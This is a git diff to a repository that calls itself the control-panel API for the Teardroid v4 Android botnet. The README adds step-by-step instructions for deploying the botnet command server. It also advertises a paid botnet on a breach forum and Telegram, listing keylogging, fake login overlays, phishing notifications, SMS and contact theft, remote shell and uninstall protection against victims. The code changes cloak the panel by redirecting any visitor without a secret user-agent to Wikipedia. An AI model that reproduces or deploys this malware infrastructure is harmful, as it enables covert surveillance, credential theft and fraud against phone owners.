diff --git a/README.md b/README.md index 471a1e1..3e45d54 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,156 @@ # Teardroidv4_api + Teardroid v4 Botnet API This api is for teardroid v4 botnet Please visit https://github.com/ScRiPt1337/Teardroid-phprat to know about teardroid and how to use it -You can host it on [deta.sh](https://deta.sh/) +### Deploy the Teardroid control panel on deta.sh + +- Set up an account at [deta.sh](https://web.deta.sh/) +- [Click here](https://github.com/ScRiPt1337/Teardroidv4_api/fork) to fork this repo into your github account and click create fork +- Teardroidv4_api repo will be forked into your account +- Open the forked repo and click on config.py file and Change the value of "hello" to any user_agent or text you want +- https://go.deta.dev/deploy?repo=your-repo-url reaplce your-repo-url with the url of your forked repo and open it on browser +- and click deploy +- change your user-agent of the browser with the value of USER_AGENT you have enter in config.py +- you can use this chrome extension to change user useragent [extension](https://chrome.google.com/webstore/detail/custom-useragent-string/lejiafennghcpgmbpiodgofeklkpahoe) +- DONE + +#### Deploy video on deta.sh + +!["scatter"](https://external-content.duckduckgo.com/iu/?u=https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/Animation.gif) + +### Run control panel on your own server + +- Clone [Teardroidv4_api](https://github.com/ScRiPt1337/Teardroidv4_api) repo using the command below + +```bash +$ git clone https://github.com/ScRiPt1337/Teardroidv4_api +``` + +- Install uvicorn + +```bash +$ sudo apt-get install uvicorn +$ python3 -m pip install uvicorn +``` + +- Change dir to Teardroidv4_api + +```bash +$ cd Teardroidv4_api +``` + +- Install all dependency + +```bash +$ pip install -r requirements.txt +``` + +- change project key to connect with database +- Set up an account at [deta.sh](https://web.deta.sh/) and go to project keys and create a new key and copy it + +```bash +$ nano ./db/database.py +from deta import Deta +from os import getenv + +deta = Deta(getenv("DETA_PROJECT_KEY")) => deta = Deta("demo project key") +# replace getenv("DETA_PROJECT_KEY") with your deta.sh project key +# make sure your remove getenv +``` + +- open config.py and change the value of "hello" to any user_agent or text you want +- Run teardroid api + +```bash +$ screen +# press enter to go inside the screen session +$ uvicorn main:app --host 0.0.0.0 --port 80 +# now close your terminal windows and we are good to go +``` + +- Change your user-agent of the browser with the value of USER_AGENT you have enter in config.py +- you can use this chrome extension to change user useragent [extension](https://chrome.google.com/webstore/detail/custom-useragent-string/lejiafennghcpgmbpiodgofeklkpahoe) +- Done + +### Need something more advanced try ( scatter alfa ) + +[!["Logo"](https://external-content.duckduckgo.com/iu/?u=https://i.ibb.co/7kXYDks/20221028-233129-0000.png)](https://breached.vc/Thread-Selling-SCATTER-ALFA-ANDROID-BOTNET) + +##### REAL TIME COMMUNICATION BETWEEN BECON AND SERVER + +##### SUPPORT ALL THE LATEST VERSION OF ANDROID + +##### STEALTHY, RESILIENT AND COST-EFFECTIVE + +##### SAND-BOX AND EMULATOR DETECTION + +##### ADVANCED ATTACK TECHNIQUES + +##### UNKILLABLE AND UNINSTALLABLE + +##### INBUILT GEO FENCING + +##### EASY TO OPERATE + +##### STABLE BECON + +##### VNC + +##### O NETWORK TRAFFIC IN IDLE MODE + +### Dashboard + +!["scatter"](https://external-content.duckduckgo.com/iu/?u=https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/scatter.png) + +!["dashboard"](https://external-content.duckduckgo.com/iu/?u=https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/dashboard.png) + +### Special features + +- Forground service bypass scatter does not show any notification while running in background. +- Auto launch bypass even in Chinese phone like redmi oppo vivo without auto launch permission. +- Does not create network logs and does not make http request in idle mode. +- Android battery optimization bypass without any permission. + +### Features + +- Keylogger ( capture everything client type on there keyboard ) +- logs (log everything user click on) +- notification capture ( capture all the notification client recive ) +- run ussd code ( run ussd code for call forwarding etc ) +- fake notification attack ( send phishing link using fake notification that look like is from facebook, microsoft etc ) +- injection ( add injection dynamically according to the installed apps on the client device ) +- popup fake login screen ( popup any page on clients home page without url bar or title bar (so the client will think its from google or any other app)) +- geo fencing +- dump sms, calls, contacts, installed apps +- download file +- shell command +- open url ( open any url on browser ) +- open apps ( open any app on client device using there package name ) +- auto allow permission ( automatically grant all the run time permission ) +- uninstall protection (stop the victim from uninstalling the app or force stop the app) +- vnc +- take screenshot +- automatically take screenshot when user open any specific app ( example: if you set it to whatsapp it will take screenshot of the client's whatsapp whenever client will open whatsapp and click anything like opening convo or clicking on the send button ) +- block number ( you can block number from victim device so the number can't call the victim ) +- install any apk file in victim device +- uninstall any app from victim device +- wake up device and able to run for 1 to 3 hour with screen off + +#### Interested in scatter alfa + +- Demo video available on my telegram channel => https://t.me/scatter1337 +- Pm me on telegram https://t.me/script1337 + +### Beware from scam + +- for paid project contact me on telegram +- I am only available on telegram and script1337 is my only account please double check the username + +### IMPORTANT NOTICE -[![Deploy](https://button.deta.dev/1/svg)](https://go.deta.dev/deploy?repo=https://github.com/ScRiPt1337/Teardroidv4_api) +- you will not be able to access the dashboard if you dont change your user-agent with the same value of USER_AGENT inside config.py file. +- its to make you the dashboard more secure and to protect it from geting auto deleted from deta.sh diff --git a/config.py b/config.py new file mode 100644 index 0000000..c9b15a5 --- /dev/null +++ b/config.py @@ -0,0 +1 @@ +USER_AGENT = "Gaurav@Sharma" diff --git a/db/__pycache__/database.cpython-310.pyc b/db/__pycache__/database.cpython-310.pyc index efec3fc..8765679 100644 Binary files a/db/__pycache__/database.cpython-310.pyc and b/db/__pycache__/database.cpython-310.pyc differ diff --git a/db/database.py b/db/database.py index 03b4ec8..a452666 100644 --- a/db/database.py +++ b/db/database.py @@ -1,7 +1,7 @@ from deta import Deta from os import getenv -deta = Deta(getenv("DETA_PROJECT_KEY")) +deta = Deta(getenv("DETA_PROJECT_KEY")) def client_db(): diff --git a/main.py b/main.py index d1d7618..ecd3be3 100644 --- a/main.py +++ b/main.py @@ -10,13 +10,12 @@ from routers.command import command from routers.notification import notification from routers.auth import auth +from config import USER_AGENT app = FastAPI( - version="4.0", - title="fxdroid v2 - BOTNET", - description="fxdroid v2 - BOTNET", redoc_url=None, + docs_url=None ) origins = ["*"] @@ -34,13 +33,20 @@ allow_methods=["*"], allow_headers=["*"], ) +REDIRCT_URL = "https://en.wikipedia.org/wiki/Special:Random?action=render" class Settings(BaseModel): authjwt_secret_key: str = "jaihind" -# callback to get your configuration +async def check_agent(request: Request): + user_code = str(request.headers.get("user-agent")) + if user_code != USER_AGENT: + return True + return False + + @AuthJWT.load_config def get_config(): return Settings() @@ -54,20 +60,26 @@ def authjwt_exception_handler(request: Request, exc: AuthJWTException): @app.exception_handler(StarletteHTTPException) async def custom_http_exception_handler(request, exc): if exc.status_code == 404: + if await check_agent(request=request): + return RedirectResponse(REDIRCT_URL) return HTMLResponse(open("build/index.html", "rb").read()) return JSONResponse(status_code=exc.status_code, content={"detail": exc.detail}) @app.route("/v4") async def index(request: Request): + if await check_agent(request=request): + return RedirectResponse(REDIRCT_URL) return HTMLResponse(open("build/index.html", "rb").read()) @app.get("/") -async def root(): +async def root(request: Request): + if await check_agent(request=request): + return RedirectResponse(REDIRCT_URL) return RedirectResponse("/v4/overview") -@app.get("/version") -async def version(): - return {"version": app.version} +# @app.get("/version") +# async def version(): +# return {"version": app.version} diff --git a/requirements.txt b/requirements.txt index fd89d01..63f22d6 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,4 +1,4 @@ -fastapi +fastapi==0.79.0 deta python-multipart fastapi-jwt-auth \ No newline at end of file diff --git a/routers/__pycache__/__init__.cpython-310.pyc b/routers/__pycache__/__init__.cpython-310.pyc index 2d6d265..5fa866f 100644 Binary files a/routers/__pycache__/__init__.cpython-310.pyc and b/routers/__pycache__/__init__.cpython-310.pyc differ diff --git a/routers/auth/__pycache__/__init__.cpython-310.pyc b/routers/auth/__pycache__/__init__.cpython-310.pyc index 30e703b..6468a93 100644 Binary files a/routers/auth/__pycache__/__init__.cpython-310.pyc and b/routers/auth/__pycache__/__init__.cpython-310.pyc differ diff --git a/routers/auth/__pycache__/auth.cpython-310.pyc b/routers/auth/__pycache__/auth.cpython-310.pyc index 052ec46..30c6607 100644 Binary files a/routers/auth/__pycache__/auth.cpython-310.pyc and b/routers/auth/__pycache__/auth.cpython-310.pyc differ diff --git a/routers/client/__pycache__/__init__.cpython-310.pyc b/routers/client/__pycache__/__init__.cpython-310.pyc index 7918de4..fc054c2 100644 Binary files a/routers/client/__pycache__/__init__.cpython-310.pyc and b/routers/client/__pycache__/__init__.cpython-310.pyc differ diff --git a/routers/client/__pycache__/client.cpython-310.pyc b/routers/client/__pycache__/client.cpython-310.pyc index 885702c..e443926 100644 Binary files a/routers/client/__pycache__/client.cpython-310.pyc and b/routers/client/__pycache__/client.cpython-310.pyc differ diff --git a/routers/command/__pycache__/__init__.cpython-310.pyc b/routers/command/__pycache__/__init__.cpython-310.pyc index 3c0462d..3a246fe 100644 Binary files a/routers/command/__pycache__/__init__.cpython-310.pyc and b/routers/command/__pycache__/__init__.cpython-310.pyc differ diff --git a/routers/command/__pycache__/command.cpython-310.pyc b/routers/command/__pycache__/command.cpython-310.pyc index 2d0af08..b7639b0 100644 Binary files a/routers/command/__pycache__/command.cpython-310.pyc and b/routers/command/__pycache__/command.cpython-310.pyc differ diff --git a/routers/notification/__pycache__/__init__.cpython-310.pyc b/routers/notification/__pycache__/__init__.cpython-310.pyc index 313bcec..e9b0ee2 100644 Binary files a/routers/notification/__pycache__/__init__.cpython-310.pyc and b/routers/notification/__pycache__/__init__.cpython-310.pyc differ diff --git a/routers/notification/__pycache__/notification.cpython-310.pyc b/routers/notification/__pycache__/notification.cpython-310.pyc index 648bfe2..da3d800 100644 Binary files a/routers/notification/__pycache__/notification.cpython-310.pyc and b/routers/notification/__pycache__/notification.cpython-310.pyc differ diff --git a/test/__init__.py b/test/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/test/test.py b/test/test.py deleted file mode 100644 index e69de29..0000000